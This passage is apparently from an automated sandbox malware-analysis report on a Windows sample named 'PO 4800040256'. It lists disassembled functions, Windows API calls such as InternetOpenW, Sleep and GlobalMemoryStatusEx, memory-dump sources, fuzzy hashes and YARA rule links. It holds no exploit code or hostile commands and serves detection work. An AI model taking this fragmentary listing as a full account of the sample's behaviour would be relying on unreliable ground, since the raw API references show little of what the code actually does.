                                                                                                                                                                      • Opcode Fuzzy Hash: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                                                                                                                      • Instruction Fuzzy Hash: F8D0EC7051024256D6207BA7ED097AA3A589B44B26B15446EA905801B1DF68D9C1862D
                                                                                                                                                                      Function 0046EDC6 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 383COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: BuffCharLower
                                                                                                                                                                      • String ID: $8'I
                                                                                                                                                                      • API String ID: 2358735015-3608026889
                                                                                                                                                                      • Opcode ID: d6f66c2f2361e76d4402681cdd51d930a97151c2fdd89a539067bc835b5788b1
                                                                                                                                                                      • Instruction ID: 1bf34105e022c250dd7240f1ea7ec4803edb57b208c13e69c3fb06210d7c4844
                                                                                                                                                                      • Opcode Fuzzy Hash: d6f66c2f2361e76d4402681cdd51d930a97151c2fdd89a539067bc835b5788b1
                                                                                                                                                                      • Instruction Fuzzy Hash: 9FE1AE745043018BCB24EF16D88166BB7E4BF94348F40482FF88597292EB79DD89CB9B
                                                                                                                                                                      Function 00478373 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 277comCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • OleSetContainedObject.OLE32(00000000,00000001), ref: 0047857A
                                                                                                                                                                        • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                        • Part of subcall function 00445513: OleSetContainedObject.OLE32(?,00000000), ref: 00445593
                                                                                                                                                                        • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                        • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                        • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                        • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CopyVariant$ContainedObject$ErrorLast_malloc
                                                                                                                                                                      • String ID: AutoIt3GUI$Container
                                                                                                                                                                      • API String ID: 3380330463-3941886329
                                                                                                                                                                      • Opcode ID: 167728f1ef0b290fa0ab537cd1f49c444f99f24bf3b7fe0b60cc3227d219d98d
                                                                                                                                                                      • Instruction ID: 8a51a4197b359b89da059ec4b883cd23719ad159cb4f439b8c2c8f5fea4c1b32
                                                                                                                                                                      • Opcode Fuzzy Hash: 167728f1ef0b290fa0ab537cd1f49c444f99f24bf3b7fe0b60cc3227d219d98d
                                                                                                                                                                      • Instruction Fuzzy Hash: FEA16A71240601AFC760EF69C880A6BB7E9FB88304F10892EF649CB361EB75E945CB55
                                                                                                                                                                      Function 004099A8 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                                        • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                        • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                        • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                        • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                      • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                      • String ID: 0vH
                                                                                                                                                                      • API String ID: 1143807570-3662162768
                                                                                                                                                                      • Opcode ID: 3b8ec82d58c38576b00ff22988a0e650aa58911ac6743af60d2de49a63bf73c2
                                                                                                                                                                      • Instruction ID: 5e67718e4417cbef977f4cc7974cb0b4b39b480e5382bb1977b3cac956c07efc
                                                                                                                                                                      • Opcode Fuzzy Hash: 3b8ec82d58c38576b00ff22988a0e650aa58911ac6743af60d2de49a63bf73c2
                                                                                                                                                                      • Instruction Fuzzy Hash: 53515BB1A083009FC718CF18C48065BB7E1FF88314F54856EF9999B391D779E942CB96
                                                                                                                                                                      Function 00466587 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: HH$HH
                                                                                                                                                                      • API String ID: 0-1787419579
                                                                                                                                                                      • Opcode ID: 7546cf6663fec2d41e0be28018c51c43d88dc93244b488606bcda1ed75612bc1
                                                                                                                                                                      • Instruction ID: b2aab3850ea6996be17d3b26b1a0d96f4757dd5de2ef7d298d9c2790e2b3b10f
                                                                                                                                                                      • Opcode Fuzzy Hash: 7546cf6663fec2d41e0be28018c51c43d88dc93244b488606bcda1ed75612bc1
                                                                                                                                                                      • Instruction Fuzzy Hash: 1241BF367042009FC310EF69E881F5AF3A1EF99314F548A6EFA589B381D776E811CB95
                                                                                                                                                                      Function 00444652 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: InfoItemMenu_memset
                                                                                                                                                                      • String ID: 0
                                                                                                                                                                      • API String ID: 2223754486-4108050209
                                                                                                                                                                      • Opcode ID: b197b12ebb791d0d124b954fc3f56ec3733aa4353655cd8c64cc0c5a1933b8ad
                                                                                                                                                                      • Instruction ID: 143d79469fb3e570aa9bb1e7a79db7ad77638f8ab3c2e89d41e08a42c99b444e
                                                                                                                                                                      • Opcode Fuzzy Hash: b197b12ebb791d0d124b954fc3f56ec3733aa4353655cd8c64cc0c5a1933b8ad
                                                                                                                                                                      • Instruction Fuzzy Hash: CB3101721043009BF3249F18DC85BABBBE4EBC6310F14081FFA90C62A0E379D949C75A
                                                                                                                                                                      Function 00448358 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(?,00001132,00000000,?), ref: 0044846C
                                                                                                                                                                      • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0044847E
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend
                                                                                                                                                                      • String ID: '
                                                                                                                                                                      • API String ID: 3850602802-1997036262
                                                                                                                                                                      • Opcode ID: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                                                                                                                                                                      • Instruction ID: cecdca06d5aa7ecc7109d5e1ff25192cbd540bafe2d1ef24ff7c1b98f096cb5f
                                                                                                                                                                      • Opcode Fuzzy Hash: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                                                                                                                                                                      • Instruction Fuzzy Hash: 984179706083459FE710CF18C880BABB7E1FB89700F54882EF9888B351DB75A841CF5A
                                                                                                                                                                      Function 00444571 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: 0
                                                                                                                                                                      • API String ID: 0-4108050209
                                                                                                                                                                      • Opcode ID: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                                                                                                                      • Instruction ID: 268d240ecd79f719a1425e83c09d650ed443e1bf0ac8ef4f8d51517adc50c1d2
                                                                                                                                                                      • Opcode Fuzzy Hash: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                                                                                                                      • Instruction Fuzzy Hash: B6210D765042206BEB15DF08D844B97B7A4FBDA310F44492BEE9897250D379E848C7AA
                                                                                                                                                                      Function 0045126C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00451305
                                                                                                                                                                      • SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00451313
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend
                                                                                                                                                                      • String ID: Combobox
                                                                                                                                                                      • API String ID: 3850602802-2096851135
                                                                                                                                                                      • Opcode ID: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                                                                                                      • Instruction ID: f266216a818347eeb58d59163185d0479ace604409515c443b0f4894c7ad90f2
                                                                                                                                                                      • Opcode Fuzzy Hash: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                                                                                                      • Instruction Fuzzy Hash: D9110A72A0430067E6109AA4DC80F5BB3D8EB99735F10071BFA24E72E1D774FC448768
                                                                                                                                                                      Function 004515AB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetWindowTextLengthW.USER32(00000000), ref: 004515DA
                                                                                                                                                                      • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 004515EA
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: LengthMessageSendTextWindow
                                                                                                                                                                      • String ID: edit
                                                                                                                                                                      • API String ID: 2978978980-2167791130
                                                                                                                                                                      • Opcode ID: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                                                                                                      • Instruction ID: b80de1f22085cd2d24dcce0fe83431d10f7d2aff66e66183492c5b70af3c9e13
                                                                                                                                                                      • Opcode Fuzzy Hash: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                                                                                                      • Instruction Fuzzy Hash: 2011E4716003006BD6109A64D884F6BB3DCEBD8335F104B1EFA61D32E1D779EC458729
                                                                                                                                                                      Function 00474827 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72sleepCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • Sleep.KERNEL32(00000000), ref: 00474833
                                                                                                                                                                      • GlobalMemoryStatusEx.KERNEL32 ref: 00474846
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: GlobalMemorySleepStatus
                                                                                                                                                                      • String ID: @
                                                                                                                                                                      • API String ID: 2783356886-2766056989
                                                                                                                                                                      • Opcode ID: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                                                                                                      • Instruction ID: 41c327e25453105c4ca6c880754d33c67e761007402a238c65fd2e715fefe222
                                                                                                                                                                      • Opcode Fuzzy Hash: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                                                                                                      • Instruction Fuzzy Hash: 4421C230929A14B7C2107F6ABD4BB5E7BB8AF44716F008C5DF5C562094DF785268836F
                                                                                                                                                                      Function 004647A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59networkCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: htonsinet_addr
                                                                                                                                                                      • String ID: 255.255.255.255
                                                                                                                                                                      • API String ID: 3832099526-2422070025
                                                                                                                                                                      • Opcode ID: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                                                                                                                      • Instruction ID: e3b5e028fda38c0aed97ec3d425ece65e45bc088e5f3683a6f0e3ee8de0e9224
                                                                                                                                                                      • Opcode Fuzzy Hash: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                                                                                                                      • Instruction Fuzzy Hash: 6F11253620030057DA10EB69C882F9BB394EFC4728F00896BFA105B283D679F45A832E
                                                                                                                                                                      Function 004694DE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                      • SendMessageW.USER32(00000000,000001A2,000000FF,00000000), ref: 00469547
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend_wcslen
                                                                                                                                                                      • String ID: ComboBox$ListBox
                                                                                                                                                                      • API String ID: 455545452-1403004172
                                                                                                                                                                      • Opcode ID: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                                                                                                                      • Instruction ID: d7878a024921556205560296ec06e6abf53b779169672b4943ab7ad66f70e2c7
                                                                                                                                                                      • Opcode Fuzzy Hash: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                                                                                                                      • Instruction Fuzzy Hash: 2601D6327011106B8600BB299C019AFB39DDBC2370F544A2FF965573D1EA39AC0E476A
                                                                                                                                                                      Function 00442AFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00442B8C
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: InternetOpen
                                                                                                                                                                      • String ID: <local>
                                                                                                                                                                      • API String ID: 2038078732-4266983199
                                                                                                                                                                      • Opcode ID: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                                                                                                      • Instruction ID: 525aca290fb55aeb65c4bf55ca0deee88c9418ef2a1db54778758d1eb2e06c8a
                                                                                                                                                                      • Opcode Fuzzy Hash: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                                                                                                      • Instruction Fuzzy Hash: 9011A934144751AAF621DF108D86FB77794FB50B01F50480FF9866B2C0D6F4B848C766
                                                                                                                                                                      Function 004695F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                      • SendMessageW.USER32(00000000,00000180,00000000,00000000), ref: 00469660
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend_wcslen
                                                                                                                                                                      • String ID: ComboBox$ListBox
                                                                                                                                                                      • API String ID: 455545452-1403004172
                                                                                                                                                                      • Opcode ID: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                                                                                                                      • Instruction ID: 486d2595d5a7427da4a9c048e684990a8dc9cac685a8154682435d05c4426571
                                                                                                                                                                      • Opcode Fuzzy Hash: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                                                                                                                      • Instruction Fuzzy Hash: A101D87274121027C600BA259C01AEBB39CEB96354F04443BF94597291EA6DED0E43AA
                                                                                                                                                                      Function 0046956F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                      • SendMessageW.USER32(00000182,00000182,?,00000000), ref: 004695D6
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
